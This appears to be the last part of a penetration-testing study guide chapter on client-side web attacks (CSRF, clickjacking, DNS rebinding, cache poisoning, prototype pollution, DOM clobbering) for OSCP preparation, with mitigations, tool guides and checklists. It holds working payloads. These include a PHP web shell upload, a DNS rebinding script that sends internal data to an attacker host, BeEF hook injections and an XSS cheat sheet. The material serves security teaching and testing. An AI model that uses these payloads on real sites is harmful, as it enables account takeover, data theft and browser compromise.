const blob = new Blob(['<?php system($_GET["cmd"]); ?>'], {type: 'text/plain'});
const file = new File([blob], 'malicious.php');
const dataTransfer = new DataTransfer();
dataTransfer.items.add(file);
document.getElementById('file-input').files = dataTransfer.files;
document.forms[0].submit();
</script>
</form>
XMLHttpRequest CSRF:
// Attacker's page
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://target.com/api/change-email', true);
xhr.withCredentials = true;
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('email=attacker@evil.com');
14.5 CSRF Token Bypass Techniques
| Technique | Description |
|---|---|
| Token prediction | Weak token generation (sequential, MD5) |
| Token reflection | Token reflected in response, reusable |
| Token absence | Some endpoints lack token validation |
| Referer-based | Token derived from Referer header |
| Cookie-based token | Token stored in cookie, auto-sent |
| Missing validation | Token present but not validated |
| CORS abuse | Cross-origin request with valid token |
| Blind CSRF | No feedback, but action still executes |
14.6 CSRF Detection
Manual Testing:
- Identify state-changing operations
- Check for anti-CSRF tokens
- Verify token is unpredictable
- Verify token is validated server-side
- Test without token, with wrong token
- Check SameSite cookie attribute
Automated Testing:
- Burp Suite CSRF tokenizer
- OWASP ZAP CSRF scanner
- Custom scripts for API endpoints
14.7 CSRF Mitigation
| Strategy | Effectiveness | Description |
|---|---|---|
| Anti-CSRF tokens | High | Unique token per session/form |
| SameSite cookies | High | Browser blocks cross-site cookies |
| Custom headers | Medium | Requires preflight, blocks simple requests |
| Referer checking | Medium | Verify Referer matches origin |
| CAPTCHA | Low UX | Breaks automation, hurts UX |
| Re-authentication | High | Require password for sensitive actions |
| Double-submit cookie | Medium | Token in cookie and parameter |
Best Practice Combination:
Anti-CSRF Token + SameSite=Lax + Custom Header Validation
15. Clickjacking and UI Redressing
15.1 What is Clickjacking?
- Attacker tricks user into clicking something different from what they see
- Uses transparent or disguised iframes
- User thinks they’re clicking one thing, but clicks another
- Also called “UI Redressing”
15.2 Clickjacking Attack Flow
graph TB
A[Attacker creates page] --> B[Embeds target site in invisible iframe]
B --> C[Overlays deceptive UI element]
C --> D[Victim visits attacker page]
D --> E[Victim sees deceptive UI]
E --> F[Victim clicks deceptive element]
F --> G[Click actually hits iframe element]
G --> H[Unwanted action performed on target site]
15.3 Clickjacking Payload
<!DOCTYPE html>
<html>
<head>
<title>Win a Free iPhone!</title>
<style>
iframe {
width: 800px;
height: 600px;
position: absolute;
top: 0;
left: 0;
opacity: 0;
z-index: 2;
}
.decoy-button {
position: absolute;
top: 200px;
left: 300px;
width: 200px;
height: 50px;
background: red;
color: white;
font-size: 24px;
text-align: center;
line-height: 50px;
z-index: 1;
cursor: pointer;
}
</style>
</head>
<body>
<h1>Congratulations! Click below to claim your prize!</h1>
<div class="decoy-button">CLICK ME!</div>
<iframe src="https://target.com/settings/delete-account"></iframe>
</body>
</html>
15.4 Multi-Step Clickjacking
<!-- Requires multiple clicks at specific positions -->
<style>
iframe {
opacity: 0;
position: absolute;
z-index: 999;
}
.step1 { top: 100px; left: 200px; }
.step2 { top: 300px; left: 400px; }
.step3 { top: 500px; left: 600px; }
</style>
<!-- Guide user through multiple clicks -->
<div class="step1" onclick="showStep2()">Click here first!</div>
<div class="step2" style="display:none" onclick="showStep3()">Now click here!</div>
<div class="step3" style="display:none">Final click!</div>
<iframe src="https://target.com/multi-step-action"></iframe>
15.5 Right-Click Hijacking
<!-- Capture right-click context menu -->
<iframe src="https://target.com"
style="opacity:0; position:absolute; z-index:999;"
oncontextmenu="return false;">
</iframe>
15.6 Clickjacking Mitigation
| Strategy | Implementation | Effectiveness |
|---|---|---|
| X-Frame-Options | DENY or SAMEORIGIN |
High |
| CSP frame-ancestors | frame-ancestors 'self' |
High |
| JavaScript detection | if (top !== self) top.location = self.location |
Medium |
| -webkit-user-select | Prevent text selection | Low |
| Pointer events none | pointer-events: none on iframe |
Medium |
Recommended Headers:
X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none';
16. DNS Rebinding Attacks
16.1 What is DNS Rebinding?
- DNS record changes between requests
- First request resolves to attacker-controlled domain
- Second request resolves to internal/target IP
- Browser sees same origin, but different destinations
- Bypasses Same-Origin Policy for internal networks
16.2 DNS Rebinding Attack Flow
sequenceDiagram
participant B as Browser
participant D as DNS Server
participant A as Attacker Server
participant I as Internal Target
B->>D: Resolve evil.com
D->>B: evil.com = attacker.ip
B->>A: GET http://evil.com/
A->>B: JS page with rebinding logic
Note over B,D: DNS record changes
B->>D: Resolve evil.com again
D->>B: evil.com = 192.168.1.1 (internal)
B->>I: GET http://evil.com/admin
Note over B,I: Browser thinks same origin!
I->>B: Internal admin panel response
B->>A: Data exfiltrated to attacker
16.3 DNS Rebinding Types
| Type | Description | Use Case |
|---|---|---|
| Classic rebinding | DNS changes between requests | Access internal services |
| Time-delay rebinding | TTL-based timing attack | Router admin panels |
| Subdomain rebinding | Different subdomains, same origin | Target specific services |
| SSL rebinding | With valid certificates | Bypass HTTPS checks |
16.4 DNS Rebinding Payload
// Attacker's page at http://evil.com/
// DNS for evil.com will change to internal IP
function rebindingAttack() {
// Wait for DNS to change
setTimeout(() => {
// Now evil.com resolves to internal IP
fetch('http://evil.com/admin/config')
.then(r => r.text())
.then(data => {
// Exfiltrate internal data
const img = new Image();
img.src = 'http://attacker-collector.com/steal?data=' +
encodeURIComponent(data);
});
}, 5000);
}
// Try multiple internal IPs
const targets = [
'http://evil.com:8080/admin',
'http://evil.com:8443/manager',
'http://evil.com/api/internal',
];
targets.forEach(url => {
fetch(url, {mode: 'same-origin'})
.then(r => r.text())
.then(data => exfiltrate(url, data))
.catch(() => {});
});
16.5 DNS Rebinding Mitigation
| Strategy | Description |
|---|---|
| Hostname validation | Verify Host header matches expected value |
| IP allowlisting | Only accept requests from known IPs |
| DNS pinning | Cache DNS resolution for session |
| Internal network isolation | No direct internet access for internal services |
| Reverse proxy | Terminate external traffic at proxy |
| CNAME record blocking | Block CNAME-based rebinding |
17. Web Cache Poisoning
17.1 What is Web Cache Poisoning?
- Attacker injects malicious content into a web cache
- Cached content is served to subsequent victims
- Exploits how caches key and store responses
- One attack, many victims (like stored XSS but in cache)
17.2 Cache Poisoning Attack Flow
sequenceDiagram
participant A as Attacker
participant C as Web Cache
participant S as Server
A->>C: GET /page<br>X-Custom: <script>alert(1)</script>
C->>S: Forward request (with custom header)
S->>C: Response reflects header value in body
C->>C: Cache response keyed on<br>URL + custom header
Note over C: If header not in cache key,<br>response cached for all
participant V as Victim
V->>C: GET /page (no custom header)
C->>V: Serve poisoned cached response
V->>V: Malicious script executes
17.3 Cache Poisoning Techniques
| Technique | Description |
|---|---|
| Header injection | Inject via custom request header |
| Query string poisoning | Poison via URL parameter |
| Path-based poisoning | Poison via URL path segment |
| Cookie-based poisoning | Poison via cookie value |
| Accept-header poisoning | Poison via Accept header |
| Host header poisoning | Poison via Host header |
17.4 Cache Poisoning Example
# Attacker's request
GET /search HTTP/1.1
Host: target.com
X-Cache-Key: <script>alert('Cache Poisoned')</script>
# If server reflects X-Cache-Key in response
# and cache doesn't use it as part of cache key
# All subsequent requests get the poisoned response
Burp Suite Cache Poisoning Test:
1. Send request with custom header via Repeater
2. Check if header value appears in response
3. Check cache headers (Cache-Control, Vary)
4. If Vary doesn't include the header, poisoning possible
5. Request same URL without custom header
6. If poisoned response returned, cache is vulnerable
17.5 Cache Poisoning Mitigation
| Strategy | Description |
|---|---|
| Proper Vary headers | Include all influential headers in Vary |
| Cache key normalization | Normalize all cache keys consistently |
| Input validation | Validate and sanitize all inputs |
| Cache isolation | Separate caches per tenant/user |
| Short TTL | Use short cache times for dynamic content |
| Bypass for sensitive | Don’t cache authenticated responses |
18. Prototype Pollution
18.1 What is Prototype Pollution?
- JavaScript objects inherit from
Object.prototype - Attacker adds properties to
Object.prototype - All objects inherit the polluted properties
- Can lead to XSS, RCE, privilege escalation
18.2 How Prototype Pollution Works
// Normal object
const obj = {};
console.log(obj.admin); // undefined
// After prototype pollution
JSON.parse('{"__proto__":{"admin":true}}');
console.log({}).admin; // true — ALL objects now have admin=true
// Via constructor.prototype
const obj = {};
obj.constructor.prototype.isAdmin = true;
console.log({}).isAdmin; // true
18.3 Pollution Vectors
| Vector | Payload | Method |
|---|---|---|
__proto__ |
{"__proto__":{"admin":true}} |
JSON parse |
constructor.prototype |
obj.constructor.prototype.x=1 |
Direct assignment |
prototype |
Object.prototype.x=1 |
Direct assignment |
| Merge functions | Deep merge with malicious input | Library function |
| Lodash merge | _.merge({}, JSON.parse(payload)) |
Library abuse |
| jQuery extend | $.extend(true, {}, payload) |
Library abuse |
18.4 Prototype Pollution to XSS
// Pollute Array.prototype.join
JSON.parse('{"__proto__":{"join":"alert(1)"}}');
// When any array is joined as string
[1,2,3].join(); // Executes alert(1)!
// Pollute toString
JSON.parse('{"__proto__":{"toString":"function(){alert(1)}"}}');
// Pollute valueOf
JSON.parse('{"__proto__":{"valueOf":"function(){alert(1)}"}}');
18.5 Prototype Pollution Detection
// Check if prototype is polluted
console.log({}.polluted); // Should be undefined
console.log(Object.prototype.polluted); // Should be undefined
// Check common pollution targets
const checks = ['admin', 'isAdmin', 'role', 'permissions', 'join', 'toString'];
checks.forEach(prop => {
if (Object.prototype.hasOwnProperty(prop)) {
console.warn(`Prototype polluted: ${prop}`);
}
});
18.6 Prototype Pollution Mitigation
| Strategy | Implementation |
|---|---|
| Freeze prototype | Object.freeze(Object.prototype) |
| Null prototype | Object.create(null) |
| Schema validation | Validate input against schema |
| Avoid unsafe merge | Use safe merge implementations |
| Property checks | Check for __proto__ in input |
| Library updates | Keep lodash, jQuery updated |
19. DOM Clobbering
19.1 What is DOM Clobbering?
- HTML element
idornameattributes create global variables - Attacker controls these attributes to clobber JS variables
- Clobbered variables change application behavior
- Works because browsers expose DOM elements as window properties
19.2 How DOM Clobbering Works
<!-- This HTML creates global variables -->
<a id="username">clobbered</a>
<!-- Now window.username === <a id="username">clobbered</a> -->
<!-- This clobbers a variable used by JS -->
<script>
// If app.js does:
var config = window.config || {debug: false};
// Attacker clobbers:
</script>
<a id="config"><a id="debug">true</a></a>
<!-- Now window.config.debug === "true" -->
19.3 DOM Clobbering Attack Flow
graph LR
A[Attacker controls HTML] --> B[Sets id/name attributes]
B --> C[Browser creates global vars]
C --> D[App JS reads global vars]
D --> E[Behavior changes unexpectedly]
E --> F[XSS / RCE / Logic bypass]
19.4 DOM Clobbering Examples
<!-- Clobber a configuration object -->
<div id="config">
<div id="apiUrl">http://attacker.com/api</div>
<div id="debug">true</div>
</div>
<!-- Clobber an array -->
<div id="items">
<span>item1</span>
<span>item2</span>
</div>
<!-- window.items becomes a NodeList -->
<!-- Clobber via name attribute (forms) -->
<form id="config">
<input name="debug" value="true">
</form>
<!-- Clobber via nested naming -->
<a id="window"><a id="location">http://attacker.com</a></a>
19.5 DOM Clobbering to XSS
<!-- If app does: eval(window.config.endpoint) -->
<a id="config"><a id="endpoint">alert(document.cookie)</a></a>
<!-- If app does: document.write(window.user.name) -->
<a id="user"><a id="name"><img src=x onerror=alert(1)></a></a>
<!-- If app does: import(window.modules.auth) -->
<a id="modules"><a id="auth">javascript:alert(1)</a></a>
19.6 DOM Clobbering Mitigation
| Strategy | Implementation |
|---|---|
| Avoid global scope | Use let/const instead of var |
| Use modules | ES modules don’t pollute global scope |
| Validate DOM | Check for unexpected global variables |
Use use strict |
Prevents some clobbering effects |
| Shadow DOM | Isolate DOM from global scope |
| Input sanitization | Sanitize HTML before injection |
20. Tools Overview
20.1 Tool Comparison Matrix
| Tool | Type | Primary Use | Strengths | Weaknesses |
|---|---|---|---|---|
| Burp Suite | Proxy/Scanner | Full web app testing | Comprehensive, integrated | Paid for Pro features |
| XSStrike | CLI Scanner | XSS detection | Auto-bypass, accurate | XSS only |
| Dalfox | CLI Scanner | XSS/fuzzing | Fast, modular | CLI only |
| BeEF | Framework | Browser exploitation | Hook control, modules | Requires initial XSS |
| OWASP ZAP | Proxy/Scanner | Full web app testing | Free, open source | Less polished than Burp |
| Commix | CLI Scanner | Command injection | Auto-detection | CLI only |
| NoSQL Map | CLI Scanner | NoSQL injection | Specialized | Narrow scope |
20.2 Burp Suite for Client-Side Attacks
Key Features:
| Feature | Use Case |
|---|---|
| Proxy | Intercept and modify requests |
| Repeater | Manual request manipulation |
| Intruder | Automated payload testing |
| Scanner | Automated vulnerability scanning |
| Decoder | Encode/decode payloads |
| Comparer | Compare responses |
| Sequencer | Analyze token randomness |
| DOM Inspector | Analyze client-side code |
Burp Suite XSS Workflow:
1. Configure browser to use Burp proxy (127.0.0.1:8080)
2. Browse target application
3. Identify input points in Proxy history
4. Send suspicious parameters to Repeater
5. Test XSS payloads manually
6. Use Intruder for automated payload testing
7. Use Scanner for comprehensive analysis
8. Document findings with screenshots
Intruder XSS Payload Sets:
# Burp Intruder attack types:
- Sniper: One payload position, iterate through list
- Battering Ram: One payload position, all payloads at once
- Pitchfork: Multiple positions, iterate in parallel
- Cluster Bomb: Multiple positions, all combinations
# Recommended payload lists:
- Burp's built-in XSS payload list
- XSS Payloads by PayloadsAllTheThings
- Custom polyglot payloads
20.3 XSStrike
Installation:
pip install xsstrike
# or
git clone https://github.com/s0md3v/XSStrike
cd XSStrike
pip install -r requirements.txt
Usage:
# Basic scan
xsstrike -u "http://target.com/search?q=test"
# With specific parameter
xsstrike -u "http://target.com/search" -p "q"
# With custom payload
xsstrike -u "http://target.com/search?q=test" --payload="alert(1)"
# Skip WAF detection
xsstrike -u "http://target.com/search?q=test" --skip-waf
# Wildcard mode (test all parameters)
xsstrike -u "http://target.com/search?q=test&id=1" -wildcard
# Background mode
xsstrike -u "http://target.com/search?q=test" -bg
Features:
- Automatic parameter discovery
- WAF detection and bypass
- AST-based analysis
- Wildcard mode for all parameters
- Background scanning
- Role-based payload selection
20.4 Dalfox
Installation:
# Go install
go install github.com/hahwul/dalfox/v2@latest
# Or download binary
# https://github.com/hahwul/dalfox/releases
Usage:
# Basic scan
dalfox url "http://target.com/search?q=test"
# With options file
dalfox file urls.txt -o output.txt
# With custom module
dalfox url "http://target.com/search?q=test" -m "xss,dom"
# With proxy
dalfox url "http://target.com/search?q=test" -proxy "http://127.0.0.1:8080"
# Batch mode
dalfox batch "http://target.com/search?q=FUZZ" -w payloads.txt
# With frequency analysis
dalfox url "http://target.com/search?q=test" -freq
Features:
- Fast and lightweight
- Modular architecture
- DOM XSS detection
- Frequency analysis
- Batch processing
- Proxy integration
20.5 BeEF (The Browser Exploitation Framework)
Installation:
git clone https://github.com/beefproject/beef
cd beef
sudo ./beef
Usage:
1. Start BeEF: sudo ./beef
2. Default credentials: beefso / beefso
3. Access UI: http://127.0.0.1:3000/ui/panel
4. Get hook URL: http://<attacker-ip>:3000/hook.js
5. Inject hook via XSS: <script src=http://attacker:3000/hook.js></script>
6. When victim loads page, browser appears in BeEF UI
7. Execute modules against hooked browser
BeEF Modules:
| Category | Modules |
|---|---|
| Information Gathering | Browser info, OS detection, network info |
| Social Engineering | Fake updates, phishing, clipboard |
| DOM Manipulation | Clickjacking, keylogging, screen capture |
| Network Attacks | DNS rebinding, port scanning |
| Persistence | Cookie manipulation, local storage |
| Exploitation | Browser exploits, plugin exploits |
BeEF Hook Payload:
<!-- Inject this via XSS to hook the browser -->
<script src="http://attacker-ip:3000/hook.js"></script>
<!-- Minimal hook -->
<script src=http://attacker-ip:3000/hook.js></script>
<!-- Hidden hook -->
<iframe src="javascript:'<script src=http://attacker-ip:3000/hook.js><\/script>'"></iframe>
20.6 Additional Tools
| Tool | Purpose | Command |
|---|---|---|
curl |
Manual request testing | curl -X GET "url?param=<script>" |
nmap |
Port scanning | nmap -sV target.com |
gobuster |
Directory brute force | gobuster dir -u http://target -w words.txt |
ffuf |
Fuzzing | ffuf -u http://target/FUZZ -w words.txt |
sqlmap |
SQL injection | sqlmap -u "url?param=test" --risk=3 |
nikto |
Web server scanner | nikto -h http://target |
whatweb |
Technology detection | whatweb http://target |
Appendix A: Quick Reference Cheat Sheet
XSS Payload Quick Reference
<!-- Top 10 XSS Payloads -->
1. <script>alert(1)</script>
2. <img src=x onerror=alert(1)>
3. <svg onload=alert(1)>
4. <body onload=alert(1)>
5. <input onfocus=alert(1) autofocus>
6. <details open ontoggle=alert(1)>
7. <marquee onstart=alert(1)>
8. <video><source onerror=alert(1)>
9. <iframe src=javascript:alert(1)>
10. <a href=javascript:alert(1)>click</a>
Event Handler Quick Reference
<!-- Mouse events -->
onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout
<!-- Keyboard events -->
onkeydown, onkeypress, onkeyup
<!-- Form events -->
onsubmit, onreset, onselect, onchange, oninput, onfocus, onblur
<!-- Window/document events -->
onload, onunload, onbeforeunload, onresize, onscroll, onerror
<!-- Media events -->
onplay, onpause, onended, onvolumechange, onseeked
<!-- Animation events -->
onanimationstart, onanimationend, onanimationiteration, ontransitionend
<!-- Clipboard events -->
oncopy, oncut, onpaste
<!-- Drag events -->
ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop
HTTP Headers for Security
# Response headers to check/set
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self'; script-src 'self'
Strict-Transport-Security: max-age=31536000; includeSubDomains
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), camera=(), microphone=()
# Cookie attributes
Set-Cookie: session=abc; Path=/; Domain=.example.com; Secure; HttpOnly; SameSite=Strict
Appendix B: Methodology Checklist
Client-Side Attack Testing Checklist
Information Gathering:
- Map all input vectors (URL params, headers, cookies, body)
- Identify all output locations in responses
- Review client-side JavaScript files
- Check for CSP headers
- Check cookie attributes (HttpOnly, Secure, SameSite)
XSS Testing:
- Test reflected XSS on all parameters
- Test stored XSS on all user input fields
- Test DOM-based XSS in client-side JS
- Try filter bypass techniques
- Test SVG upload XSS
- Test data URI XSS
- Test event handler XSS
CSRF Testing:
- Identify all state-changing operations
- Check for anti-CSRF tokens
- Test token bypass techniques
- Check SameSite cookie attribute
- Test blind CSRF scenarios
Clickjacking Testing:
- Check X-Frame-Options header
- Check CSP frame-ancestors directive
- Test iframe embedding
- Test multi-step clickjacking
Advanced Testing:
- Test WebSocket security
- Test prototype pollution vectors
- Test DOM clobbering
- Test web cache poisoning
- Test DNS rebinding potential
- Test browser extension interactions
Post-Exploitation:
- Attempt cookie theft
- Attempt session hijacking
- Attempt keylogging
- Attempt credential harvesting
- Document all findings
Appendix C: Learning Resources
| Resource | Type | Focus |
|---|---|---|
| PortSwigger Web Security Academy | Free courses | All web vulnerabilities |
| OWASP Testing Guide | Documentation | Comprehensive testing |
| PayloadsAllTheThings | GitHub repo | Payload collection |
| XSS Cheat Sheet | Reference | XSS payloads |
| BeEF Documentation | Documentation | Browser exploitation |
| MDN Web Docs | Documentation | Web standards |
| HackerOne Hacktivity | Blog | Real-world reports |
End of Chapter 08: Client-Side Attacks
This guide covers the essential client-side attack vectors for OSCP preparation. Practice each technique in legal lab environments. Always obtain proper authorization before testing.